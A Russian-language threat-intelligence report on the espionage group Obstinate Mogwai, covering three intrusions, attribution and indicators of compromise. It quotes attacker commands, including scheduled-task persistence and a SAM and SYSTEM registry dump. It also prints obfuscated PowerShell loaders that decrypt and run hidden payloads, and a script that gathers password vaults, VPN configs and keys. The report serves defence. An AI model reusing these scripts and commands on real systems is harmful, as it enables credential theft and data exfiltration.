Как видно из запроса, обращения шли на WSMAN (WS management). Использование UserAgent скорее говорит о том, что указанные обращения - это следы некоего клиента для WinRM, написанного на Ruby. Под все описанное выше попадает проект WinRM на Ruby, который использует функциональность WinRM (Windows Remote Management).

Здесь нас смутил порт 443, ведь WinRM работает на 5985 (HTTP) или 5986 (HTTPS) портах. Как оказалось, можно сконфигурировать WinRM для использования 443 или даже 80 порта! Приведем несколько цитат из описания:

EnableCompatibilityHttpListener
Specifies whether the compatibility HTTP listener is enabled. If this setting is True, the listener listens on port 80 in addition to port 5985. The default is False.
EnableCompatibilityHttpsListener
Specifies whether the compatibility HTTPS listener is enabled. If this setting is True, the listener listens on port 443 in addition to port 5986. The default is False.

Команда для установки прослушивания на 80 порту:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

Команда для установки прослушивания на 443 порту:

winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"}

Чтобы проверить, какие порты прослушиваются, можно воспользоваться командой:

winrm enumerate winrm/config/Listener

Рекомендуем проверить значения EnableCompatibilityHttpListener и EnableCompatibilityHttpsListener и установить их в False, если наличия параметра True не требуют бизнес-процессы.

В процессе проведения этой атаки мы наблюдали создание задачи Schedeled (орфография атакующих сохранена) командой:

"C:\Windows\system32\schtasks.exe" /create /s [redacted-local-IP] /u [username] /p [password] /tn Microsoft\Windows\Defrag\Schedeled /tr "powershell -exec bypass -f c:\programdata\microsoft\WDF\ctfmon.ps1" /sc onstart /ru system /F

Задача запускала непосредственно ctfmon.ps1, который расшифровывал файл WDF.log и загружал в память .NET-сборку ВПО KingOfHearts. Название сборки данного бэкдора пугает: ControlledEnd.exe. Однако, никакой деструктивной деятельности от Obstinate Mogwai мы ни разу не видели. Это новая версия бэкдора похожа на KingOfHearts (JSON Variant), который раньше был написан на C++. Только его переписали на .NET и сделали модульным: от C2 он получал .NET-сборки и запускал их в памяти. Подробнее о новой версии бэкдора мы расскажем в другой публикации.

4. Эксплуатация уязвимости десериализации ненадежных данных VIEWSTATE

На данном этапе все возможные пути возвращения в инфраструктуру заказчика атакующие уже испробовали. В качестве последнего способа доступа они использовали десериализацию VIEWSTATE (о ней рассказывали в нашем блоге). Способ атаки подробно разобран в статье, поэтому не будем повторяться.



Кейс 2. Впустите нас на Exchange

Продолжение активности этой группы мы увидели в сентябре 2023 года, когда их целью оказалась госорганизация . Атака не была масштабной, так как мы выявили её на ранних стадиях.

Атакующие проникли в инфраструктуру через подключение по VPN без второго фактора, использовав скомпрометированную легитимную учетную записью сотрудника.

Основной целью злоумышленников был Exchange. Предположительно, таким образом они хотели закрепиться в инфраструктуре и выполнять дальнейшие действия с использованием десериализации VIEWSTATE. Также целью атаки стала система пользователя с УЗ которого подключились.

В сеть Obstinate Mogwai проникли через WinRM, с использованием легитимной учетной записи. После этого, воспользовавшись локальной УЗ администратора, они последовательно создали и выполнили три задачи (test, test1, testlogon). Также на системе пользователя, с учетки которого подключились, имелась задача derca:

Время создания (UTC+3)

Задача

Команда

04.09.2023  6:09:24

test

powershell -exec bypass  -w 1 -c ". c:\programdata\bsc.ps1;rk -k Edlel352DNVLRlelreqer352 -c c:\ProgramData\bcs.log"

04.09.2023 6:59:56

test1

c:\programdata\contain.exe

04.09.2023 8:51:25

testlogon

cmd /c "c:\program files\7-Zip\7z.exe" a -r -p123456789Qwe c:\programdata\20232222.7z c:\windows\system32\csc\ertg

04.09.2023 00:39:12

derca

cmd /c reg save HKLM\SYSTEM c:\programdata\SYS.png && reg save HKLM\SAM c:\programdata\SAM.png

После успешного выполнения задачи имеются следы обращений к файлам по протоколу SMB с источника атаки.

На момент исследования все использованные атакующим файлы были удалены.

Во всех приведенных задачах есть интересная особенность: задачи были созданы с использованием системы DESKTOP-1O6L84G и учетной записи timego. У заказчика нет ни системы с подобным наименованием, ни такой учетной записи. Также задачу test1 пересоздавали с использованием системы [redacted]-pc0000 и учетной записи Administrator. Обе указанные системы использовались атакующими для подключения к инфраструктуре заказчика. Другими словами, задачи были сгенерированы на системах атакующих и доставлены в виде xml-файла на хосты цели. Также в задачах присутствовало поле DATE. В нем записывалось локальное время системы, на которой сгенерирована задача. Мы составили таблицу с указанием времени поля DATE (дата создания задачи на системе атакующего, as is) и даты создания файла (UTC0).

 


derca

test1

testlogon

DATE

03.09.2023 21:39:12

04.09.2023 00:24:15

04.09.2023 02:15:44

Создание
файла (UTC0)

04.09.2023 04:14:53

04.09.2023 06:59:56

04.09.2023 08:51:25

После создания и запуска первой задачи test в системе имеются следы выполнения скрипта c:\programdata\bsc.ps1 и его полезной нагрузки c:\ProgramData\bcs.log. Сам скрипт на файловой системе мы не нашли,однако в журналах Powershell остались любопытные командлеты:

  • Следы скрипта SessionGopher – утилиты с открытым исходным кодом, разработанной FireEye. Утилита находит и извлекает сохраненную информацию для ПО удаленного доступа (PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP).
  • Следы скрипта dns-dump – утилиты, предназначенной для дампа всех DNS записей через AD LDAP и DNS запросов через AD (Active Directory). Любопытно, что мы видели использование этого же репозитория в виде https://github.com/3gstudent/Homework-of-C-Language/blob/master/sekurlsa-wdigest.cpp, скомпилированного в библиотеку ipnet.dll в одном из расследований в 2022 году, которое мы также относим к этой же группе.
  • Следы скрипта autokerberoast – утилиты, предназначенной для проведения атаки под названием Kerberoasting, заключающейся во взломе NTLM хэшей паролей для сервисных аккаунтов в AD (Active Directory).

После размещения исполняемого файла contain.exe (запускаемого задачей test1) имеется характерное событие входа 4624, в котором использована техника Pass-the-hash, данные события:

SubjectUserSid:S-1-5-18
SubjectUserName:[MACHINENAME]$
SubjectDomainName:[DOMAIN]
SubjectLogonId:0x3E7
TargetUserSid:S-1-5-18
TargetUserName:система
TargetDomainName:NT AUTHORITY
TargetLogonId:0x29E3A838F5
LogonType:9
LogonProcessName:seclogo
AuthenticationPackageName:Negotiate
@Name:WorkstationName
LogonGuid:00000000-0000-0000-0000-000000000000
TransmittedServices:-
LmPackageName:-
KeyLength:0
ProcessId:0x26C
ProcessName:C:\Windows\System32\svchost.exe
IpAddress:::1
IpPort:0

Далее с использованием nltest.exe выполнены команды разведки домена:

nltest.exe /dclist:
nltest.exe /DOMAIN_TRUSTS /PRIMARY /V
nltest.exe /DOMAIN_TRUSTS /DIRECT_OUT /V
nltest.exe /DOMAIN_TRUSTS /All_Trusts /V
nltest.exe /DOMAIN_TRUSTS /DIRECT_IN /V

В это же время атаки на Exchange на сетевом периметре имеются следы попыток эксплуатации уязвимости CVE-2012-0002 (детект на Microsoft Windows Remote Desktop Protocol Code Execution (MS12-020) - Ver2). На всех системах заказчика данная уязвимость была пропатчена, в связи с чем атака не получила продолжения.



Кейс 3. Атака через подрядчика

Еще одна атака на другую государственную организацию случилась в январе 2024 года. Ее мы тоже обнаружили и пресекли на ранней стадии. Это удалось, в том числе благодаря тому, что атакующие переиспользовали командные серверы, которые ранее мы уже видели в атаке, описанной в первом кейсе.

И снова атакующие стремились завладеть Exchange. Предположительно, они хотели закрепиться в инфраструктуре и развивать атаку с помощью десериализации .Net. Другими целями были различные системы сотрудников, с которых атакующие пытались получить конфиденциальные документы и прочую ценную информацию. Также группировку интересовали терминальные серверы для доступа к электронному документообороту.

Следы начала атаки мы обнаружили в событиях IIS, поступающих в SIEM. В них фиксировались различные GET- и POST-запросы к ресурсам owa /owa/auth/logon.aspx. Запросы шли c адреса, который мы знали как подтвержденный индикатор компрометации. Запросы шли под сертификатом одного пользователя к данным учетной записи другого. Детектирование указанных событий автоматически запустило расследование.

В ходе расследования мы выяснили, что сертификаты и учетные записи принадлежат подрядчику организации. Обнаружены различные следы доступов к терминальным серверам для доступа к электронному документообороту, что может указывать на сферу интересов группы.

Для доступа к серверам, на которых были развернуты системы электронного документооборота, использовались скомпрометированные привилегированные учетные записи подрядчика, предназначенные для администрирования\настройки СЭД и имеющие доступ к конфиденциальным документам.

Incident response XXII века - так мы для себя отметили ту часть расследования, где был установлен факт доступа злоумышленников к чувствительным данным. Это случилось благодаря PAM-системе Solar SafeInspect, установленной в инфраструктуре организации. Данная система автоматически ведет запись экрана сессий привилегированных учетных записей, позволяя отслеживать их активность администраторам клиента. Именно поэтому все действия (которые, к слову, выполнялись в ночное время) были записаны. Просмотр этого "блокбастера" позволил установить, что злоумышленники очень хорошо владеют интерфейсом не самой простой системы СЭД. Их интересовали различные документы, связанные с несколькими странами Азиатского региона. Любопытно, что атакующие постранично просматривали открываемые документы, задерживаясь на каждой странице по несколько секунд. Скорее всего во время этих пауз они делали скриншоты или вовсе вели запись экрана.

Предполагаем, что в этот момент была весьма интересно реализована техника сбора данных "T1113 - Screen Capture".

На системе подрядчика, с учетной записи которого атакующие ходили в IIS, мы обнаружили следы выполнения скрипта c:\programdata\errorlog.ps1, который предназначен для расшифровки и выполнения полезной нагрузки из файла С:\ProgramData\logfiles.log. Первая строка в файле C:\ProgramData\logfiles.log – зашифрованная команда для выполнения; от второй строки считается md5. В дальнейшем md5 используется в качестве ключа для расшифровки. Для расшифровки используется функция ConvertTo-SecureString с параметром -key. Пример такого скрипта:

    
function g-523432413214314() {
    Param([string]$s), $cnecad = [system.Text.Encoding]::UTF8;
    $5dm = New-Object System.Security.Cryptography.MD5CryptoServiceProvider;
    return [System.BitConverter]::ToString($5dm.ComputeHash($cnecad.GetBytes($s))) -replace '-','';
}
function fdaf34234fda() {
    $detpyrcadres=gc c:\ProgramData\logfiles.log
    $ykef = g-523432413214314 -s $detpyrcadres[-1];
    $ykef = $ykef.tochararray();
    $Stringsec = convertto-securestring $detpyrcadres[0] -key $ykef;
    $hptcah = [System.Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode($Stringsec);
    $feqereqreqw = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($hptcah);
    $feqereqreqw=[scriptblock]::Create($feqereqreqw)
    try {
        Invoke-Command -ScriptBlock $feqereqreqw -ErrorAction SilentlyContinue;
    } catch {
        $errorMessage = 'Error message: ' + $_.Exception.Message
        Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
    }
}
fdaf34234fda        
    

В скрипте ниже в файле c:\ProgramData\logfiles.log три строки: <зашифрованная команда в виде base64-строки> <3DES-ключ> <3DES-IV>. После чтения файл удаляется. Для расшифровки используется алгоритм 3DES.

      
function dec234321561 {
    $cm32352431435134='c:\ProgramData\logfiles.log'
    [array]$cp3249293413453 = gc $cm32352431435134 -Force -ErrorAction SilentlyContinue
    del 'c:\ProgramData\logfiles.log' -Force -ErrorAction SilentlyContinue;
    $ecn634543542345425 = [System.Convert]::FromBase64String($cp3249293413453[0])
    $ky2939501234531234=[System.Text.Encoding]::ASCII.GetBytes($cp3249293413453[-2]) $vi2343425467537=[System.Text.Encoding]::ASCII.GetBytes($cp3249293413453[-1])
    $Td2030592398492 = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
    $Td2030592398492.Padding = [System.Security.Cryptography.PaddingMode]::Zeros $Td2030592398492.Mode = [System.Security.Cryptography.CipherMode]::CBC $Td2030592398492.Key = $ky2939501234531234
    $Td2030592398492.IV = $vi2343425467537
    $Sm2394953424314321 = [System.IO.MemoryStream]::new($ecn634543542345425, 0, $ecn634543542345425.Length)
    $sSC3454276272435 = $Td2030592398492.CreateDecryptor()
    $Cm23253216427265 = [System.Security.Cryptography.CryptoStreamMode]::Read
    $SST34643542345243 = [System.Security.Cryptography.CryptoStream]::new($Sm2394953424314321, $sSC3454276272435, $Cm23253216427265)
    $dEcb2341236516614 = [System.Byte[]]::new($ecn634543542345425.Length), $Decc3456346428909 = $SST34643542345243.Read($dEcb2341236516614, 0, $ecn634543542345425.Length)
    $DT54745898765959 = [System.Text.Encoding]::UTF8.GetString($dEcb2341236516614, 0, $Decc3456346428909)
    try {
        Invoke-Expression $DT54745898765959 -ErrorAction SilentlyContinue;
    } catch {
        $errorMessage = 'Error message: ' + $_.Exception.Message
        Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
    }
}
dec234321561        
    

На момент исследования на системе файлы c:\programdata\errorlog.ps1 и c:\ProgramData\logfiles.log отсутствовали, поэтому получить и расшифровать полезную нагрузку не представилось возможным. Файл C:\ProgramData\log.txt содержал вывод ошибки выполнения команды архивации.

Также мы нашли следы запуска программы c:\programdata\Microsoft\DeviceSync\errorlog.exe. Указанный каталог неоднократно использовался группой ранее в других кейсах, которые мы видели в 2022 и 2021 годах.

В журналах Powershell на одной из систем подрядчиков мы обнаружили следы любопытного скрипта (расширенная версия в приложении Powershell-скрипт для сбора данных пользователей):

    
function dfc {
    if(!(Test-Path $pth)) {
            mkdir $pth -Force;
            $sdate='01/01/2020'
    }
    else {
            $sdate=(gi $pth).LastWriteTime.ToString("MM/dd/yyyy")
    }
    $com="c:\users\$lusrs";
    $dirs = @('\desktop','\documents','\downloads','\AppData\Local\Microsoft\Windows\INetCache\','\AppData\Local\Packages','\AppData\Local\Microsoft\Windows\Temporary Internet Files\');
    $dirs | %{gci $com$_ -Recurse -Depth 10 -Force -ErrorAction SilentlyContinue | where{$_.Extension -match '\.(docx?|xlsx?|rtf|dst|ovpn|kdbx|txt|xps|key|cer)$' -and $_.Lastwritetime -ge $sdate} | Select-Object fullname | %{copy $_.FullName $pth;ac $pth\log.log $_.FullName}
    }
    sleep 10
    try {
            Compress-Archive -Path "$pth\*" -DestinationPath $dfile -Force -ErrorAction SilentlyContinue | out-null, sleep 5, rm "$pth\*" -Force -ErrorAction SilentlyContinue       
    

Скрипт ищет файлы с расширениями dst|ovpn|kdbx|txt|xps|key|cer|pfx|ppk|rdp для текущего пользователя (c:\users\<cur_user>), измененные не раньше 01/01/2020 (или не раньше даты изменения каталога c:\ProgramData\OFFICEDA, который создается после запуска) из различных подкаталогов:

\desktop,
\documents,
\downloads,
\AppData\Local\Microsoft\Windows\INetCache,
\AppData\Local\Packages,
\AppData\Local\Microsoft\Windows\Temporary Internet Files

После этого файлы копируются в каталог c:\ProgramData\OFFICERM, а в файл c:\ProgramData\OFFICERM\log.txt записываются имена скопированных файлов. Далее файлы архивируются средствами Powershell из c:\ProgramData\OFFICERM в c:\programdata\<hostname>+'@yyyy-MM-dd.zip' и удаляются данные из директории c:\ProgramData\OFFICERM.

Далее, если найден 7z на хосте (C:\Program Files\7-Zip\7z.exe) и каталог c:\ProgramData\OFFICERM не пустой, то скрипт архивирует средствами 7z ее содержимое с паролем 'elDFEef234@#'. Если же файлов в c:\ProgramData\OFFICERM нет, то скрипт архивирует ранее созданный архив с тем же паролем. Исходный архив удаляется.

Также мы нашли аналогичный скрипт, осуществляющий сбор документов в формате docx|xlsx|rtf.

На других системах подрядчика имелись следы скриптов для сбора информации о системе (расширенная версия в приложении Powershell скрипт для сбора системной информации).

      
Get-NetTCPConnection | Out-File -Encoding UTF8 -Append $infofile
Get-NetNeighbor | Out-File -Encoding UTF8 -Append $infofile
Get-NetRoute | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject win32_networkadapterconfiguration -filter "ipenabled = 'True'" | Select-Object PSComputerName,Description,DHCPLeaseExpires,DHCPServer,DNSDomain,DNSDomainSuffixSearchOrder,IPAddress,DefaultIPGateway,IPSubnet,MACAddress | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption,CSName,InstallDate,LastBootUpTime,MUILanguages,OSArchitecture,Version | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject -Class Win32_ComputerSystem | Select-Object name,Domain,Manufacturer,Model,PrimaryOwnerName,TotalPhysicalMemory,UserName,Workgroup | Out-File -Encoding UTF8 -Append $infofile 
Get-WmiObject -Class win32_logicaldisk | Out-File -Encoding UTF8 -Append $infofile
    

Использование описанных скриптов указывает на возможные цели атаки – шпионаж и кража данных.

Для перемещения по сети использовался как RDP, так и WinRM.

В заключение данного кейса заметим, что полное исследование систем подрядчика не проводилось, в связи с чем точки входа в инфраструктуру заказчика установить не представилось возможным.



Атрибуция: возвращение IAmTheKing?

В данном разделе мы хотели бы показать по каким параметрам и с какими известными группировками связан кластер активности, который мы называем Obstinate Mogwai.

Начнем с незначительных пересечений.

1. Связь с HAFNIUM

В кейсе 1 мы наблюдали точку входа – уязвимость ProxyLogon, эксплуатацию которой на первых парах присуждают группировке HAFNIUM. В ходе поиска других версий уникального веб–шелла AntSpy, использование которого мы видели только у Obstinate Mogwai, мы нашли веб-шелл под именем owafont_ki.aspx (MD5: 2d0b7a4bfe6c6361d7a3f05c1c5bbf5c). Веб-шелл с таким же именем использовала группа HAFNIUM при эксплуатации ProxyLogon в 2021 году. Прочитать про атаку на примере нашей компании можно в статье на Хабре.

2. Связь с APT31

В кейсе 3 запускался файл по пути С:\ProgramData\Microsoft\DeviceSync\errorlog.exe. Указанный каталог использовался APT31 для размещения бэкдора GrewApacha, про который мы писали в марте 2023, а также неоднократно использовался атакующим в других кейсах, которые мы видели в 2021-2022 гг.

3. Связь с Webworm / Space Pirates

Obstinate Mogwai часто применяли довольно старое ВПО – TrochilusRAT, Последний раз публично про его использование писали Symantec в 2022 году. Статья была посвящена группировке Webworm, которая также связана с группировкой Space Pirates. Эксперты Symantec даже делают предположение, что Webworm и Space Pirates могут быть одной и той же группировкой: “It is likely that the two groups are one and the same.” Незадолго до этого Symantec выпустили статью о неназванной группировке, которая также использовала TrochilusRAT.

4. Связи с IAmTheKing

Мы обнаружили довольно много пересечений с группировкой под названием IAmTheKing (Kaspersky) или PowerPool (ESET). Материалы о ней стали появляться в 2018 (ESET), а последний публичный отчет – в 2020 (Kaspersky). Далее кратко опишем TTP IAmTheKing и увиденные пересечения с Obstinate Mogwai.

  • IAmTheKing очень любят использовать различные Powershell-скрипты: как для запуска полезных нагрузок, так и для сбора информации о системе. Часто в Powershell-скриптах они использовали название переменной $pth. Мы видим это и в описанных выше скриптах:

В кейсе 1 расшифрованный Powershell-скрипт из scrollend.log

$pth_sh = "c:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources"
$pth_bk = "C:\ProgramData\Microsoft\RAC"

Расшифрованный Powershell-скрипт из c:\programdata\microsoft\wdf\Speech.log

$pth_bk="C:\ProgramData\Microsoft\WDF"

В кейсе 3 Powershell-скрипт для сбора данных пользователей

    
function dfc {
    if(!(Test-Path $pth)) {
            mkdir $pth -Force;
            $sdate='01/01/2020'       
    
  • IAmTheKing для запуска своих полезных нагрузок нередко используют следующую схему: запуск ps1-скрипта, который расшифровывает log-файл из файловой системы, и дальнейший запуск расшифрованного скрипта с помощью команды Invoke-Expression.

Мы видим это и в описанных выше скриптах.

В кейсе 3 Powershell-скрипты, которые копировали веб-шеллы по расписанию, расшифровывались из файлов C:\ProgramData\Microsoft\scrollend.log и C:\ProgramData\Microsoft\WDF\Speech.log:

powershell -exec bypass -c ". c:\programdata\microsoft\scrollend.ps1;dec -key EJFELNGELKkdkflelrel2342343423LDLFLEFLEL3432423432DLFLFELELELFEL -command c:\programdata\microsoft\scrollend.log"
powershell.exe -exec bypass -c ". c:\programdata\microsoft\wdf\Speech.ps1;tip 5oR95oiG976836R15e407z3712299z14IP0051b760I02y812T1o1M3c461ZQe64 -command c:\programdata\microsoft\wdf\Speech.log"

Далее они запускались с помощью Invoke-Expression:

    
foreach($cyphertext in $cyphertexts) {
    …
    $plainText += [char]($_ -bxor $KeyArray[$keyposition % $KeyArray.Length])
    $keyposition += 1
    }
    $plainText = $plainText -replace 'a!a!','';
    Invoke-Expression $plainText # вызов Invoke-Expression
}        
    

Powershell-скрипт расшифровывался из С:\ProgramData\logfiles.log и запускался через Invoke-Expression:

    
$cm32352431435134='c:\ProgramData\logfiles.log'
...
$Td2030592398492 = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
...

$sSC3454276272435 = $Td2030592398492.CreateDecryptor()
...
$DT54745898765959 = [System.Text.Encoding]::UTF8.GetString($dEcb2341236516614, 0, $Decc3456346428909)
try {
  Invoke-Expression $DT54745898765959 -ErrorAction SilentlyContinue; # вызов Invoke-Expression
    
  • IAmTheKing в именах задач любят использовать слово Scheduled во всех вариациях

В кейсе 1 скрипт C:\ProgramData\Microsoft\WDF\Speech.ps1 запускался задачей Tasks\Microsoft\Windows\Diagnosis\Schduled

В одной из атак, в которых Obstinate Mogwai пытались вернуться в инфраструктуру, с помощью Powershell и зашифрованного log-файла в память была загружена новая версия бэкдора KingOfHearts (JSON вариант), про который мы писали выше. Бэкдор запускался задачей с именем Schedeled:

"C:\Windows\system32\schtasks.exe" /create /s [redacted-local-IP] /u [username] /p [password] /tn Microsoft\Windows\Defrag\Schedeled /tr "powershell -exec bypass -f c:\programdata\microsoft\WDF\ctfmon.ps1" /sc onstart /ru system /F

  • IAmTheKing использовали в атаках бэкдоры собственной разработки: KingOfHearts, QueenOfHearts и QueenOfClubs.

Как уже говорилось выше, в одной из атак мы увидели использование новой версии бэкдора KingOfHearts (JSON variant). Данный факт внес значительный вклад в процесс атрибуции, так как использование подобного бэкдора было замечено только за IAmTheKing.

  • IAmTheKing предпочитают Powershell и поэтому используют различные Red Team-проекты с открытым исходным кодом.

Например, скрипты от Nishang. В 2018 г. IAmTheKing использовали вариацию бэкдора, который основан на DNS_TXT_Pwnage.ps1. В кейсе 1 использовался уникальный веб-шелл AntSpy, код которого основан в том числе на веб-шелле Antak, который был разработан Nishang. В 2020 году IAmTheKing использовали кастомные скрипты для эксфильтрации интересующих данных (например, xls, rtf и pdf файлов). В кейсе 3 мы показали кастомные powershell-скрипты для сбора файлов форматов docx, xlsx, rtf и других. В прошлой статье про Obstinate Mogwai и в этой мы отметили использование скриптов из репозитория Kevin-Robertson: фреймворк Inveigh и его компонент Invoke-SMBClient. Также злоумышленники использовали другие powershell-скрипты, которые перечислены в конце в Приложении 1.

На рисунке ниже мы постарались схематично изобразить связи Obstinate Mogwai с другими группировками. Каждая сноска отображает, по каким параметрам строилась та или иная связь. Сноска Obstinate Mogwai отображает уникальные инструменты группировки.

Связи Obstinate Mogwai с другими APT-группировками
Связи Obstinate Mogwai с другими APT-группировками


Заключение

Мы рассказали об атаках группы Obstinate Mogwai. Показали используемые ими тактики и техники, а самые интересные из них разобрали более подробно. Группа активно применяет различные способы для обхода обнаружения, чтобы долго оставаться незамеченными. Если же успешно провести меры по митигации атаки внутри скомпрометированной инфраструктуры, они все равно настойчиво будут пытаться в нее вернуться, даже спустя годы, подтверждая свое название.

Также в разделе атрибуция показали различные связи с другими группировками. Хотя группа Obstinate Mogwai имеет пересечения с другими группами азиатского региона, наибольшее совпадение мы наблюдаем с азиатской APT IAmTheKing, последнее публичное упоминание о которой было в 2020 году. Исходя из проведенных нами расследований, можно предположить,что Obstinate Mogwai является наследником IAmTheKing с обновленным инструментарием.

Очевидно, что основная цель Obstinate Mogwai – кибершпионаж. Атакующие обладают большими ресурсами и связями с другими группами для проведения масштабных кибератак. У них также имеются ресурсы для разработки и развития новых образцов ВПО, таких как DimanoRAT, Donnect, новой версии бэкдора KingOfHearts, фреймворка для эксплуатации уязвимости десериализации VIEWSTATE.

Накопленные нами знания о группировке указывают на то, что она активна как минимум с 2019 года и по сей день. При этом, согласно публичным отчетам других компаний, группировка может быть активна как минимум с 2014 года. Как и раньше, целью атакующих являются государственные и частные организации в России.

Если и вы увидели подозрительную активность в своей сети и считаете, что тоже стали жертвой хакерской группировки, пишите нам. Эксперты Solar 4RAYS помогут выявить инцидент и ограничить его распространение, а также защитить вашу инфраструктуру от подобных атак в будущем.



Приложение 1. Используемый тулсет

Donnect – уникальное ВПО класса backdoor.

DimanoRAT – уникальное ВПО класса backdoor.

KingOfHearts – ВПО класса backdoor.

TrochilusRAT – ВПО класса backdoor.

Nbtscan – сканер сети.

Command line RAR, 7z – архиваторы.

Big-shell – веб-шелл.

SharpHound – С# реализациия BloodHound.

CMPSpy – кейлоггер.

AdFind – получение данных из AD.

AntSpy – веб-шелл Antak, скрещенный с ASPXSpy и уникальными модификациями по доступу.

RDCMan – инструмент для управления несколькими одновременными подключениями по протоколу RDP, входит в состав пакета Sysinternals.

SmbExec – инструмент для горизонтального перемещения по сети, входит в состав проекта Impacket.

Venom proxy – программа для построения прокси-туннелей.

Invoke-SMBClient – компонент фреймворка для тестирования на проникновение Inveigh.

SessionGopher – программа для сбора незащищенных аутентификационных данных с системы.

dns-dump – утилита, предназначенная для дампа всех DNS записей через AD LDAP и DNS запросов через AD (Active Directory).

autokerberoast – следы скрипта для сбора TGS тикетов.

OXID – сканер сети.



Приложение 2. IOCs


Сетевые индикаторы

Кейс 1

DimanoRAT\DONNECT

parking.samogony[.]com
yandexcloud.samogony[.]com
reformamebel[.]com
down.softupdate[.]com
api.hoteldinamo[.]com
ssl.hoteldinamo[.]com
www.puzirik[.]com
dns.russianpaymentsforum[.]com
help.springnow[.]net
185.4.66[.]116
188.130.160[.]144
46.8.43[.]28
down.soft-update[.]com
38.54.16[.]120

TrochilusRAT

cariolis[.]com
vorots[.]ru
ttl.huzfs[.]com
108.160.136[.]200
dns-stream[.]com

.NET KingOfHearts backdoor

45.150.64[.]23

Venom proxy C2

38.180.29[.]3

Использованные в атаках адреса

94.177.123[.]215
31.214[.]157.5
213.183.54[.]200
213.183.56[.]238
213.183.57[.]73
192.121.171[.]190
92.243.66[.]166
92.119.159[.]22
193.47.34[.]229
188.116.22[.]90
139.84.139[.]176
192.121.47[.]214
5.8.33[.]45
185.132.125[.]154
149.28.189[.]102
31.192.234[.]35
92.38.160[.]212
51.79.191[.]204
5.188.33[.]50
139.162.111[.]143
116.251.217[.]104
181.215.229[.]119
194.68.26[.]142
194.68.26[.]164
192.248.153[.]215
158.247.203[.]87
38.54.16[.]120
92.38.160[.]7
213.135.67[.]198
122.192.11[.]114
122.96.34[.]142
27.102.115[.]153
85.159.208[.]143
45.12.67[.]18
192.121.47.214

Вероятные C2, полученные путем исследования связей

185.167.116[.]30
95.179.249[.]142
46.161.15[.]98
hy.indiatopsite[.]com
tes.indiatopsite[.]com
my.thejra[.]com
api.lordsofthelands[.]io
rentalapi.lordsofthelands[.]io
rental.lordsofthelands[.]io
vip.lordsofthelands[.]io
secure.thejra[.]com
go.thejra[.]com
lion.thejra[.]com
macbook.thejra[.]com
home.thejra[.]com
seanpi.thejra[.]com
skypi.thejra[.]com
www.iss-tass[.]com
Rhodesauto[.]space
Pitmanbed[.]space
Rralphfood[.]space

Кейс 2

86.105.227[.]126
86.106.102[.]119

Кейс 3

213.183.56[.]238
92.243.66[.]166
192.121.171[.]190


File hashes

MD5

518ae23346d7bf3bd38dd30385fa99fa
c12f657efa3fa47e43e2b313a4e28d27
bb0241fe783e5db8c34ece460cebeaa1
d053a16ced6382d1ec0b9869f9084860
ac7222db58b804aad7ef45cc2d884692
cf40fe8a588711f4fd716396dca9a1a1
3239a8656c675a83ac84a68e06869827
607654a81bb6c49d70d3601b70d968b2
7b4ec1bdf76d88cee0e8a880f75184a2
def27ebdd447c605a05836fb359460b2
a022c93e1b9e43f38bea0be55b34ecd0
505af1d8b13ff998492021380221e4b9
6e8020a14a26ce32dab8df6eb1257667
842ebb16b5a0a7a55f35cd53fbc53e3b
c9de939b7393aac6225abd82f9abc2fb
17642a0f2b976c61e0eb866640d04a8c
5bd4a2a0894f8c4e492c041ced17b221
d2b058f69a29f2e25f19eb4d7e15416d
325b897cde70ce7c42f0a8c6e135b6c2
31940f6eac72022abc1abf52d1d89e9f
e091fe0e163500f7bb2521e96c1f8880
122c17230e1bd8f3670901cf73238ddc
3be986a5d6da9fbade41421f6860ca68
f01a9a2d1e31332ed36c1a4d2839f412
0b67e974fb8e80bd9b72fbb2974237d2
96642718c6923b0067caa5bb4be3dcef
7422724288e63d548c474b305e267b2e
99ccc389df4fa9c109f47d61e4aa5b2b
778aad6cb90efb907454796fbab20a9d
0a8ae8de9650a695eeb27a783fc299f3
97f37f99edf74805812d5d251dc59e46
078d72a61fe3de477669fcf07ef66fb3
25c047f53e1b6b88d376e90a3d987050
4ece4abc0ab1b8b1147095f159b77a89
5d61be7db55b026a5d61a3eed09d0ead
a679c7c7f7a0e960e0cda3ef465ec53c
dbab6271567d7d0774fdddf5eb5e50c2
bb3cf91ad5ab1991b048a3acd1414532
8f4a99bc93f9c88a05e80770736d3bfb
3fafe14286fe98df8b674f19402d9edb
c07c7ff79bd41e8d28659568d80109e1
fb9e1ee7c2a9d439d830076887368c77
a83201e9de3dae06aae1ae5306eba5c3
d95d2654b737f76305c1410c0cadcc40
e0e2e67a6217c6ba30a407dc82f908db
b8b371eaf4aa05d68e24e2ceb582cc1f
d69b2002478ce63143140df5669523aa
31d65aa6735c05a83ced34595013045e
9ae9828a9e7cbe43dc146e7771d4f8f7
1be0dbf20f29ea302208d79e88c88539
7cb1d6219f9b0f71e5ae80b67ef5ab7b
5f4e4079608b123943e11770d46ab881
42f0dc07131705738a14baffd560be7c
0312f474debf9cef2843fa67b56f2c3d
962ac92c11b3fce84603fca34bfd6d5f
dc8f54c05d9ca2794b0af00c3130f20a
8867f74c013c0132a04b9c4f0b1ca367
e7dc06c7e2de61cf84ba10e7a12d764c
dbbcfdb01b4912bb9c935edf89f400c2
ae0ac04e64abf20870a5814f047a0658
9a1799b33499474dbffa658a8d6c70f1

SHA1

5f79e11dbb6a6eefbfc02404f9cbf2a12d0d54ed
f7b57186feea1cf3d738260f2d77f0edebf1e71c
7b700dc311320aba5e7aa2b7641aea3d9e3a52f0
3b29abd7e1de1d2fc4c8c7891aca7774113da4d2
5b70c9bbde07a1516525f33dbef064e5f2c24d12
adee650c278fdec5aaa710c94c71a47dd291fc04
18d9254e897fed81e6e0384e75838ba1fbdd3e44
64bf7617fe42800d4da8cf1f2201eafdc9a3174e
48f4ba8c10c02146af502a568416e70a86fe4108
32645cf32ea715bc41c72089b946c384a6a7e155
